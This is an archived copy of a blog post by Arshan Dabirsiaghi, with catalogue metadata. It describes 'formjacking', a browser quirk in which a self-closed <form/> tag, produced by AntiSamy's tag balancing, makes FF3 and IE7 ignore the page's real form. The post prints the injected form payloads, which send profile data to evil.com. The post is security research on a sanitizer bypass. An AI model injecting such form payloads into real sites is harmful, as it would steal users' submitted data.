---
type: Article
title: "Forget Sidejacking, Clickjacking, and Carjacking: Enter Formjacking"
description: "Formjacking, found by Jerry Hoff while testing AntiSamy. An injected self-closing <form/> tag makes FF3 and IE7 ignore the real <form> that follows, so every input on the page submits to the attacker. AntiSamy's tag balancing turned the attacker's unclosed opening tag into the self-closed form that triggers it, alongside the same quirk for <b/> and <i/>."
resource: "http://i8jesus.com/?p=48"
tags: [article, webseclist-reference, en-US, i8jesus-com, parser-differential, sanitizer-bypass, filter-bypass, injection, owasp-a03-2021, owasp-a05-2021]
generated:
  by: webseclist-refs/1
  at: "2026-08-11T16:31:45+00:00"
status: stable
stale_after: 2027-08-11
sources:
  - id: original
    resource: "http://i8jesus.com/?p=48"
    title: "Forget Sidejacking, Clickjacking, and Carjacking: Enter Formjacking"
    author: Arshan Dabirsiaghi
  - id: capture
    resource: "https://web.archive.org/web/20111018061127/http://i8jesus.com/?p=48"
also_at: []
authors:
  - Arshan Dabirsiaghi
canonical_url: ""
cited_by:
  - "2009.md:59"
commit: ""
content_sha256: 9c4d37e356a1ffe8f643c30436fb5aa9494ebae45ccf07f80b539178a5fde8df
depth: full
depth_reason: default
kind: article
language: en-US
licence: unknown
original_url: "http://i8jesus.com/?p=48"
published: ""
publisher: i8jesus.com
publisher_english: ""
raw_sha256: d3398e251bafc50808df3414fc73fb559cc531e5d5c9a9e8dd38d738a7f1a433
retrieved_from: "http://i8jesus.com/?p=48"
retrieved_kind: stored
retrieved_utc: "2026-08-11T16:31:45+00:00"
slug: i8jesus-com-forget-sidejacking-clickjacking-carjacking-enter-formjacking
snapshot: 20111018061127
title_english: ""
translation_file: ""
translation_of: ""
---

# Forget Sidejacking, Clickjacking, and Carjacking: Enter Formjacking

**Forget Sidejacking, Clickjacking, and Carjacking: Enter Formjacking** - Arshan Dabirsiaghi, i8jesus.com.

- Published: date not stated
- Original: <http://i8jesus.com/?p=48>
- Preserved from: http://i8jesus.com/?p=48 (stored) on 2026-08-11
- Capture timestamp: 20111018061127
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

Forget sidejacking, clickjacking, and carjacking: enter “Formjacking” - omg.wtf.bbq.

Skip to posts

A colleague of mine, Jerry Hoff, was testing [AntiSamy](http://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project) a while ago and he found an interesting technique he quite hilariously and tongue-in-cheekly called “formjacking.” Once we dissected the payload we found a very strange cross-browser behavior. I wanted to talk about it but never had a chance until now.

It seems that FF3 and IE7 respond uniformly and strangely to self-contained XHTML in many cases. We had encountered this behavior before in responding to [functional “bugs” in AntiSamy](http://code.google.com/p/owaspantisamy/issues/detail?id=36) (though I am not surprisingly more inclined to blame them on the browser). When the browser sees the following text, the words “anna faris deserves better” are shown in italics:

`<i /> anna faris deserves better`

Everything that came after the self-contained italic tag was italicized. The same behavior was found for the bold and underline tags. In AntiSamy we special-cased those and other basic formatting tags to be removed if they were self-contained, and we thought we were done.

Fast forward to Jerry’s payload. Jerry was passing in the following string:

`<form action="http://evil.com/stealcontent">`

Jerry wanted to pass in an extraneous opening form tag that would pre-empt the other <form> tag in order to steal the profile data when the user hit the submit button. He was counting on something like this appearing after the application reflected his input:

`<!-- begin evil user-supplied data -->
 <form action="http://evil.com/stealProfileInfo">
 <!-- end evil user-supplied data -->
 ...
 <form action="/good/updateProfile">
 <textarea name='profile'></textarea>
 </form>
 `
 He was hoping that the browser would ignore the original <form> tag which has been nested by his attack string. This would work across browsers as you can demonstrate for yourself on [this test page](http://i8jesus.com/stuff/nested-forms/1notsc2notsc.html). This type of attack never worried me with AntiSamy because I knew that AntiSamy balances input. Because Jerry didn’t have properly formed XHTML in his input (he only had an opening tag and no closing tag), AntiSamy cleaned it up for him and his resulting profile was this value:

`<form action="http://evil.com/stealProfileInfo"/>`

Notice that it is self-contained. Little did I know that I should be worried about this. Much how the self-contained tags <b/> and <i/> embolden or italicize the rest of the page, this self-contained <form/> tag somehow forced the browser to ignore the following <form> tag, and thus stole all the inputs on the rest of the page. So when the user hits the submit button, all the information is sent to evil.com!

I don’t think I’m alone in thinking this is very strange behavior. Because of the nature of XML, you would think that a self-contained <form/> tag should have absolutely zero impact on anything else on the page, including any other forms. This is not the case, obviously. You can find some simple test pages for mixing self-contained with non-self-contained <form> tags [here](http://i8jesus.com/stuff/nested-forms/), but the net result is this – if the attacker can provide a <form> tag before your <form> tag, they can steal the form data.

There’s probably more stuff you can do with this browser behavior. <script/>, anyone?